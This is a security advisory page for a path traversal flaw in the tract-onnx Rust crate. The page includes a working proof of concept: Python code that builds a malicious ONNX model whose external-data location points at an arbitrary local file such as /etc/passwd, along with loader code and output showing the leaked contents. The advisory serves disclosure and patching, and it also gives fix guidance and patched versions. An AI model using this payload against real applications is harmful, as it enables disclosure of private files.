GHSA-h668-6x6g-f8r5 — tract-onnx
MEDIUMGHSA-h668-6x6g-f8r5 is a medium-severity (CVSS 6.1) Path Traversal vulnerability in tract-onnx. A fix is available for tract-onnx — see the affected versions and patch details below.
tract: Arbitrary file read via unsanitized ONNX external_data `location` (path traversal) on model load in tract-onnx
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-h668-6x6g-f8r5.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-h668-6x6g-f8r5 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 374,847 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
tract-onnx🦀tract-onnx🦀tract-onnxReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects crates.io packages — download data is not available via public APIs for these ecosystems.
Description
Summary
tract (the tract-onnx crate) resolves an ONNX tensor's external-data location by joining it onto the model directory without any sanitization. Because location comes from the (untrusted) .onnx file, a malicious model can make tract open and read an arbitrary local file at load time, with the file's contents flowing into the model's tensors / inference output (read-only file disclosure). This is the ONNX external-data path-traversal class that the reference onnx library hardened over several CVEs; tract resolves location itself and was never hardened.
Details
In onnx/src/tensor.rs, get_external_resources() builds the path with no checks:
let location = /* tensor.external_data "location" value — attacker-controlled */;
let p = PathBuf::from(path).join(location); // no is_absolute / ".." / canonicalize / containment check
provider.read_bytes_from_path(&mut tensor_data, &p, offset, length)?; // Mmap::map(File::open(p)) by default
Path::joinwith an absolutelocation(e.g./etc/passwd) discards the base directory →p = /etc/passwd.- A relative
../../../../etc/passwdvalue is not normalized → directory traversal. - The default
MmapDataResolver(onnx/src/data_resolver.rs) thenmmaps the file and copiesmmap[offset..offset+length]into the tensor.offset/lengthare also taken from the file; an out-of-range slice panics (DoS).
No is_absolute, .., canonicalize, or containment check exists anywhere on this path (tensor.rs, model.rs, data_resolver.rs).
Reachable from the standard public API: model_for_path(p) (onnx/src/model.rs) sets model_dir = p.parent() and calls load_tensor(proto, model_dir) → get_external_resources(.., model_dir).
PoC
Tested on tract-onnx 0.21.16 (crates.io), Rust 1.96.
- A canary file the model must not be able to read:
/tmp/tract_canary_secret.txt→TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b - Build a small
evil.onnxwith aUINT8[37]initializer whoseexternal_dataislocation=/tmp/tract_canary_secret.txt(absolute),offset=0,length=37, fed throughIdentityto the output (raw protobuf serialization):
import onnx
from onnx import helper, TensorProto, StringStringEntryProto
N = 37; LOC = "/tmp/tract_canary_secret.txt" # absolute -> Path::join discards the base dir
w = TensorProto(); w.name = "W"; w.data_type = TensorProto.UINT8
w.dims.extend([N]); w.data_location = TensorProto.EXTERNAL
for k, v in [("location", LOC), ("offset", "0"), ("length", str(N))]:
e = StringStringEntryProto(); e.key = k; e.value = v; w.external_data.append(e)
node = helper.make_node("Identity", ["W"], ["Y"])
out = helper.make_tensor_value_info("Y", TensorProto.UINT8, [N])
g = helper.make_graph([node], "g", [], [out], initializer=[w])
m = helper.make_model(g, opset_imports=[helper.make_opsetid("", 13)])
open("evil.onnx", "wb").write(m.SerializeToString())
- Victim loads the untrusted model with the standard API:
let model = tract_onnx::onnx().model_for_path("evil.onnx")?;
let out = model.into_optimized()?.into_runnable()?.run(tvec!())?;
let bytes: Vec<u8> = out[0].to_array_view::<u8>()?.iter().cloned().collect();
println!("{:?}", String::from_utf8_lossy(&bytes));
Output:
"TRACT-EXTDATA-TRAVERSAL-CANARY-7f3a2b"
i.e. the contents of the arbitrary local file were read by tract and surfaced in the inference output.
Impact
Read-only arbitrary local file disclosure when an application uses tract to load an untrusted or shared ONNX model (model hubs, multi-file repos, user uploads). The file content is recoverable from the model's tensors / inference output. Secondary: denial of service (panic) via out-of-bounds offset/length. No write or code execution.
Suggested fix
Reject absolute location and any .. component, then canonicalize and verify the resolved path stays within the model directory (mirroring onnx 1.22.0's resolve_external_data_location); reject symlinks; validate offset/length against the file size before slicing.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🦀crates.io | tract-onnx | all versions | 0.21.17cargo update -p tract-onnx --precise 0.21.17 |
| 🦀crates.io | tract-onnx | ≥ 0.22.0&&< 0.22.3 | 0.22.3cargo update -p tract-onnx --precise 0.22.3 |
| 🦀crates.io | tract-onnx | ≥ 0.23.0&&< 0.23.2 | 0.23.2cargo update -p tract-onnx --precise 0.23.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tract-onnx, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update tract-onnx to 0.21.17 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h668-6x6g-f8r5 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-h668-6x6g-f8r5 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-h668-6x6g-f8r5. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-h668-6x6g-f8r5 in your dependencies?
O3 Security finds GHSA-h668-6x6g-f8r5 across crates.io dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.